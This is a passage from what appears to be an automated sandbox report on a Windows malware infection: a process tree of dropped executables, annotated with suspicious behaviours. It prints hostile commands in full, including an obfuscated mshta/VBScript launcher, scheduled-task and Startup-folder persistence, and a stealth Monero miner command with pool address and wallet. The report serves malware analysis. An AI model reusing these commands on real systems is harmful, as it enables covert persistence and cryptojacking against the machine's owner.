        13⤵
        
        PID:1516
        
        C:\ProgramData\823144.exe
        
        "C:\ProgramData\823144.exe"
        13⤵
        
        PID:6292
        
        C:\ProgramData\8956977.exe
        
        "C:\ProgramData\8956977.exe"
        13⤵
        
        PID:6468
        
        C:\ProgramData\2570944.exe
        
        "C:\ProgramData\2570944.exe"
        13⤵
        
        PID:6528
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6528 -s 1716
        14⤵
        Program crash
        
        PID:5212
        
        C:\Users\Admin\Documents\0lpxDCgmSf0auN0qgkyXulnn.exe
        
        "C:\Users\Admin\Documents\0lpxDCgmSf0auN0qgkyXulnn.exe"
        12⤵
        
        PID:3140
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\Documents\0lpxDCgmSf0auN0qgkyXulnn.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\Users\Admin\Documents\0lpxDCgmSf0auN0qgkyXulnn.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        13⤵
        
        PID:1668
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\Documents\0lpxDCgmSf0auN0qgkyXulnn.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\Users\Admin\Documents\0lpxDCgmSf0auN0qgkyXulnn.exe" ) do taskkill /Im "%~NxB" /F
        14⤵
        
        PID:4808
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "0lpxDCgmSf0auN0qgkyXulnn.exe" /F
        15⤵
        Kills process with taskkill
        
        PID:6272
        
        C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
        
        GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
        15⤵
        
        PID:6264
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        16⤵
        
        PID:6476
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
        17⤵
        
        PID:6732
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
        16⤵
        
        PID:7112
        
        C:\Users\Admin\Documents\0Pq8dA1djgF_NJM4B6RjCP0O.exe
        
        "C:\Users\Admin\Documents\0Pq8dA1djgF_NJM4B6RjCP0O.exe"
        10⤵
        
        PID:2020
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 280
        11⤵
        Program crash
        
        PID:5744
        
        C:\Users\Admin\Documents\EGE5WK2vqZEum1rZUK_7Ee9z.exe
        
        "C:\Users\Admin\Documents\EGE5WK2vqZEum1rZUK_7Ee9z.exe"
        10⤵
        
        PID:2472
        
        C:\Users\Admin\Documents\8hluHW4IT34jvBt7axg3q4WQ.exe
        
        "C:\Users\Admin\Documents\8hluHW4IT34jvBt7axg3q4WQ.exe"
        10⤵
        
        PID:2468
        
        C:\Users\Admin\Documents\8hluHW4IT34jvBt7axg3q4WQ.exe
        
        "C:\Users\Admin\Documents\8hluHW4IT34jvBt7axg3q4WQ.exe"
        11⤵
        
        PID:3724
        
        C:\Users\Admin\Documents\XIKqrBUIbLVgz9wpzuf9aRj4.exe
        
        "C:\Users\Admin\Documents\XIKqrBUIbLVgz9wpzuf9aRj4.exe"
        10⤵
        
        PID:3588
        
        C:\Users\Admin\Documents\nJlqeSMfuOQYc01yPdjPOTbd.exe
        
        "C:\Users\Admin\Documents\nJlqeSMfuOQYc01yPdjPOTbd.exe"
        10⤵
        
        PID:1072
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1072 -s 236
        11⤵
        Program crash
        
        PID:5260
        
        C:\Users\Admin\Documents\LmpZcGu28rOQrxTgL4Lu_xhZ.exe
        
        "C:\Users\Admin\Documents\LmpZcGu28rOQrxTgL4Lu_xhZ.exe"
        10⤵
        
        PID:4868
        
        C:\Users\Admin\AppData\Local\Temp\{A1782D38-775B-46CD-8B61-789C4C6B1D4F}\LmpZcGu28rOQrxTgL4Lu_xhZ.exe
        
        C:\Users\Admin\AppData\Local\Temp\{A1782D38-775B-46CD-8B61-789C4C6B1D4F}\LmpZcGu28rOQrxTgL4Lu_xhZ.exe /q"C:\Users\Admin\Documents\LmpZcGu28rOQrxTgL4Lu_xhZ.exe" /tempdisk1folder"C:\Users\Admin\AppData\Local\Temp\{A1782D38-775B-46CD-8B61-789C4C6B1D4F}" /IS_temp
        11⤵
        
        PID:5700
        
        C:\Windows\SysWOW64\MSIEXEC.EXE
        
        "C:\Windows\system32\MSIEXEC.EXE" /i "C:\Users\Admin\AppData\Local\Downloaded Installations\{4175BAA6-49B9-43E5-8B49-E892979E209E}\menageudrivers.msi" SETUPEXEDIR="C:\Users\Admin\Documents" SETUPEXENAME="LmpZcGu28rOQrxTgL4Lu_xhZ.exe"
        12⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\MSI3D85.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\MSI3D85.tmp"
        13⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\MSI3DF3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\MSI3DF3.tmp"
        13⤵
        
        PID:3176
        
        C:\Users\Admin\AppData\Local\Temp\MSI3E04.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\MSI3E04.tmp"
        13⤵
        
        PID:6756
        
        C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe
        
        "C:\Users\Admin\AppData\Local\Temp\028d53f5224f9cc8c60bd953504f1efa.exe"
        9⤵
        
        PID:6336
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6336 -s 236
        10⤵
        Program crash
        
        PID:904
        
        C:\Users\Admin\AppData\Local\Temp\Cleanpro12.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Cleanpro12.exe"
        9⤵
        
        PID:6160
        
        C:\Users\Admin\Documents\TSnCXZMnbKZ2RWA5QriuOVUI.exe
        
        "C:\Users\Admin\Documents\TSnCXZMnbKZ2RWA5QriuOVUI.exe"
        10⤵
        
        PID:5788
        
        C:\Users\Admin\Documents\54UZoDQlkKOVfMbLAk9O9rUe.exe
        
        "C:\Users\Admin\Documents\54UZoDQlkKOVfMbLAk9O9rUe.exe"
        10⤵
        
        PID:4564
        
        C:\Users\Admin\Documents\dOMKXKWIf2NRX9YKjmR9JNTP.exe
        
        "C:\Users\Admin\Documents\dOMKXKWIf2NRX9YKjmR9JNTP.exe"
        10⤵
        
        PID:1968
        
        C:\Users\Admin\Documents\tDIIcREMoDhBpPJVbpIz7STx.exe
        
        "C:\Users\Admin\Documents\tDIIcREMoDhBpPJVbpIz7STx.exe"
        10⤵
        
        PID:5796
        
        C:\Users\Admin\Documents\Nhpl6IbcYwY3ZaA4K5g_mXEQ.exe
        
        "C:\Users\Admin\Documents\Nhpl6IbcYwY3ZaA4K5g_mXEQ.exe"
        10⤵
        
        PID:4684
        
        C:\Users\Admin\Documents\KeIPi8CGgFtsQuFfs7VyX2tV.exe
        
        "C:\Users\Admin\Documents\KeIPi8CGgFtsQuFfs7VyX2tV.exe"
        10⤵
        
        PID:1604
        
        C:\Users\Admin\Documents\d4IlkfP82BHfImPxc3fxmJTf.exe
        
        "C:\Users\Admin\Documents\d4IlkfP82BHfImPxc3fxmJTf.exe"
        10⤵
        
        PID:7124
        
        C:\Users\Admin\Documents\RRKQIO8XYr_mgSBZHqI3Wg5D.exe
        
        "C:\Users\Admin\Documents\RRKQIO8XYr_mgSBZHqI3Wg5D.exe"
        10⤵
        
        PID:3284
        
        C:\Users\Admin\Documents\KbubWHdzimrQ4pwf810hKpQb.exe
        
        "C:\Users\Admin\Documents\KbubWHdzimrQ4pwf810hKpQb.exe"
        10⤵
        
        PID:6124
        
        C:\Users\Admin\Documents\onnr7gfnTd153WjtKlBiZ4G6.exe
        
        "C:\Users\Admin\Documents\onnr7gfnTd153WjtKlBiZ4G6.exe"
        10⤵
        
        PID:3840
        
        C:\Users\Admin\Documents\ySD1rWvl3_nvsB6UkYWWrPfe.exe
        
        "C:\Users\Admin\Documents\ySD1rWvl3_nvsB6UkYWWrPfe.exe"
        10⤵
        
        PID:5816
        
        C:\Users\Admin\Documents\wiKLg72nObmJVX5l8yY1fy5v.exe
        
        "C:\Users\Admin\Documents\wiKLg72nObmJVX5l8yY1fy5v.exe"
        10⤵
        
        PID:5108
        
        C:\Users\Admin\Documents\73oQb4ZPxDyrzvN07G6QNB5T.exe
        
        "C:\Users\Admin\Documents\73oQb4ZPxDyrzvN07G6QNB5T.exe"
        10⤵
        
        PID:1388
        
        C:\Windows\SysWOW64\dllhost.exe
        
        dllhost.exe
        11⤵
        
        PID:3412
        
        C:\Users\Admin\Documents\qabJzbMv3pN_3QQVMU2P7Cou.exe
        
        "C:\Users\Admin\Documents\qabJzbMv3pN_3QQVMU2P7Cou.exe"
        10⤵
        
        PID:4092
        
        C:\Users\Admin\Documents\T2s_14IAu0_FQ4K_9iJyP5jW.exe
        
        "C:\Users\Admin\Documents\T2s_14IAu0_FQ4K_9iJyP5jW.exe"
        10⤵
        
        PID:4236
        
        C:\Users\Admin\Documents\9l0LNVmzjix99mdZxh_uTH2J.exe
        
        "C:\Users\Admin\Documents\9l0LNVmzjix99mdZxh_uTH2J.exe"
        10⤵
        
        PID:1636
        
        C:\Users\Admin\Documents\9b6OiYvuO8zpPcdoRr5Wn95s.exe
        
        "C:\Users\Admin\Documents\9b6OiYvuO8zpPcdoRr5Wn95s.exe"
        10⤵
        
        PID:5904
        
        C:\Users\Admin\Documents\bSubCr1WIjp1bzDKIfn8hS2G.exe
        
        "C:\Users\Admin\Documents\bSubCr1WIjp1bzDKIfn8hS2G.exe"
        10⤵
        
        PID:1992
        
        C:\Users\Admin\Documents\McH6Y_aoI5BJ25ce3kx9eLRN.exe
        
        "C:\Users\Admin\Documents\McH6Y_aoI5BJ25ce3kx9eLRN.exe"
        10⤵
        
        PID:2280
        
        C:\Users\Admin\Documents\TYkTktNCKI9NvgNDtdSoO0ke.exe
        
        "C:\Users\Admin\Documents\TYkTktNCKI9NvgNDtdSoO0ke.exe"
        10⤵
        
        PID:4688
        
        C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        8⤵
        Executes dropped EXE
        
        PID:2484
        
        C:\Users\Admin\AppData\Local\Temp\is-3O8E8.tmp\stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3O8E8.tmp\stats.tmp" /SL5="$202A8,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:1640
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21df5caa1b78de6.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3600
    - - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21df5caa1b78de6.exe
        
        Thu21df5caa1b78de6.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:1776
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1776 -s 292
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4896
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe
      4⤵
      PID:1156
    - - C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21568b0ab8.exe
        
        Thu21568b0ab8.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1380
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:2604
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4984
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:5596
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:4760
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        
        PID:1864
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:1044
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:5424
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        
        PID:5112
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        
        PID:5444
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1676
        
        C:\ProgramData\8749478.exe
        
        "C:\ProgramData\8749478.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5996
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5996 -s 2316
        9⤵
        Program crash
        
        PID:5692
        
        C:\ProgramData\5877081.exe
        
        "C:\ProgramData\5877081.exe"
        8⤵
        Executes dropped EXE
        
        PID:3456
        
        C:\ProgramData\5908353.exe
        
        "C:\ProgramData\5908353.exe"
        8⤵
        Executes dropped EXE
        
        PID:4480
        
        C:\ProgramData\4452829.exe
        
        "C:\ProgramData\4452829.exe"
        8⤵
        Executes dropped EXE
        
        PID:4744
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4744 -s 316
        9⤵
        Program crash
        
        PID:2948
        
        C:\ProgramData\832997.exe
        
        "C:\ProgramData\832997.exe"
        8⤵
        Executes dropped EXE
        
        PID:5768
        
        C:\ProgramData\2201751.exe
        
        "C:\ProgramData\2201751.exe"
        8⤵
        
        PID:800
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 800 -s 2220
        9⤵
        Program crash
        
        PID:5212
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        
        PID:4188
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4188 -s 1740
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:5924
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:4648
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 608
        8⤵
        Executes dropped EXE
        Program crash
        Suspicious use of AdjustPrivilegeToken
        
        PID:3540
        
        C:\Users\Admin\AppData\Local\Temp\udptest.exe
        
        "C:\Users\Admin\AppData\Local\Temp\udptest.exe"
        7⤵
        Executes dropped EXE
        
        PID:2924
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2924 -s 248
        8⤵
        Program crash
        
        PID:5700
        
        C:\Users\Admin\AppData\Local\Temp\DVORAK.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"
        7⤵
        
        PID:3540
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:5980
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\WINsoft\43523.bat" "
        9⤵
        
        PID:3840
        
        C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exe
        
        HWI.exe
        10⤵
        
        PID:4652
        
        C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exe
        
        HWI.exe
        11⤵
        
        PID:2164
        
        C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"
        12⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"
        13⤵
        
        PID:5352
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\
        14⤵
        
        PID:1576
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\
        15⤵
        
        PID:6012
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe" /F
        14⤵
        Creates scheduled task(s)
        
        PID:5508
        
        C:\Users\Admin\AppData\Roaming\WINsoft\FoxyIDM62s.exe
        
        FoxyIDM62s.exe
        10⤵
        
        PID:3188
        
        C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"
        11⤵
        
        PID:748
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        
        PID:5308
        
        C:\Users\Admin\AppData\Local\Temp\is-9UFAQ.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9UFAQ.tmp\setup_2.tmp" /SL5="$20328,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5552
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:6068
        
        C:\Users\Admin\AppData\Local\Temp\is-R9093.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-R9093.tmp\setup_2.tmp" /SL5="$30328,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4412
        
        C:\Users\Admin\AppData\Local\Temp\is-ALADU.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-ALADU.tmp\postback.exe" ss1
        11⤵
        
        PID:1132
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:5560
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:812
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:5888
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        
        PID:1416
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe
      4⤵
      PID:1440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu214aaca5625.exe
      4⤵
      PID:692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:572
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu214ce31cede21.exe
      4⤵
      PID:4520
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe
      4⤵
      PID:2412
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu219d5fe8cf316.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:784

C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu219d5fe8cf316.exe
Thu219d5fe8cf316.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5040
- C:\ProgramData\5494266.exe
  "C:\ProgramData\5494266.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4444
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4444 -s 2296
    3⤵
    - Program crash
    PID:4868
- C:\ProgramData\7358223.exe
  "C:\ProgramData\7358223.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:3268
- - C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
    "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
    3⤵
    - Executes dropped EXE
    PID:5628
- C:\ProgramData\4951641.exe
  "C:\ProgramData\4951641.exe"
  2⤵
  - Executes dropped EXE
  PID:1436
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 316
    3⤵
    - Program crash
    PID:4968
- C:\ProgramData\2643181.exe
  "C:\ProgramData\2643181.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:4912
- C:\ProgramData\110483.exe
  "C:\ProgramData\110483.exe"
  2⤵
  - Executes dropped EXE
  PID:3120
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\ProgramData\110483.exe"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if """" =="""" for %B iN ( ""C:\ProgramData\110483.exe"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
    3⤵
    PID:5300
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c TypE "C:\ProgramData\110483.exe"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "" =="" for %B iN ( "C:\ProgramData\110483.exe" ) do taskkill /Im "%~NxB" /F
      4⤵
      PID:5772
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /Im "110483.exe" /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4040
    - - C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE
        
        GZ9~4QZ~O.EXe -P6_oIH__Ioj5q
        5⤵
        Executes dropped EXE
        
        PID:4068
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBSCRIPT: cLOsE(creatEoBjECT ( "wScRiPt.shELl"). RuN ("CMD /c TypE ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" > gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if ""-P6_oIH__Ioj5q "" =="""" for %B iN ( ""C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"" ) do taskkill /Im ""%~NxB"" /F " ,0 , tRUe) )
        6⤵
        
        PID:4196
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c TypE "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE"> gZ9~4qZ~O.EXE&& StarT GZ9~4QZ~O.EXe -P6_oIH__Ioj5q & if "-P6_oIH__Ioj5q " =="" for %B iN ( "C:\Users\Admin\AppData\Local\Temp\gZ9~4qZ~O.EXE" ) do taskkill /Im "%~NxB" /F
        7⤵
        
        PID:2768
      - C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" T~DJNB.F -u /S
        6⤵
        
        PID:1604
- C:\ProgramData\362715.exe
  "C:\ProgramData\362715.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5188
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 2492
    3⤵
    - Program crash
    PID:6016

C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu21b9847cb6727.exe
Thu21b9847cb6727.exe
1⤵
- Executes dropped EXE
PID:2328

C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu214ce31cede21.exe
Thu214ce31cede21.exe
1⤵
- Executes dropped EXE
PID:2196
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 300
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  PID:3180

C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu214aaca5625.exe
Thu214aaca5625.exe
1⤵
- Executes dropped EXE
PID:928
- C:\Users\Admin\AppData\Local\Temp\is-R0D8K.tmp\Thu214aaca5625.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-R0D8K.tmp\Thu214aaca5625.tmp" /SL5="$70078,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8522BC24\Thu214aaca5625.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1528
- - C:\Users\Admin\AppData\Local\Temp\is-R6U14.tmp\46807GHF____.exe
    "C:\Users\Admin\AppData\Local\Temp\is-R6U14.tmp\46807GHF____.exe" /S /UID=burnerch2
    3⤵
    - Executes dropped EXE
    PID:3192
  - - C:\Program Files\Windows Defender Advanced Threat Protection\RWAWSBLYRY\ultramediaburner.exe
      "C:\Program Files\Windows Defender Advanced Threat Protection\RWAWSBLYRY\ultramediaburner.exe" /VERYSILENT
      4⤵
      PID:940
    - - C:\Users\Admin\AppData\Local\Temp\is-DGUOI.tmp\ultramediaburner.tmp
        
